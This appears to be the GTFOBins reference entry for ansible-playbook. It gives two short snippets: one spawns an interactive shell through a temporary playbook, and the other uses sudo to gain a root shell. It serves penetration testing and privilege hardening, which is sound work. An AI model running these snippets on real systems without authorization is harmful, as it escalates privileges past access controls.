GTFOBins.github.io/_gtfobins/ansible-playbook.md

14 lines
363 B
Markdown
Raw Normal View History

---
functions:
shell:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
ansible-playbook $TF
sudo:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
---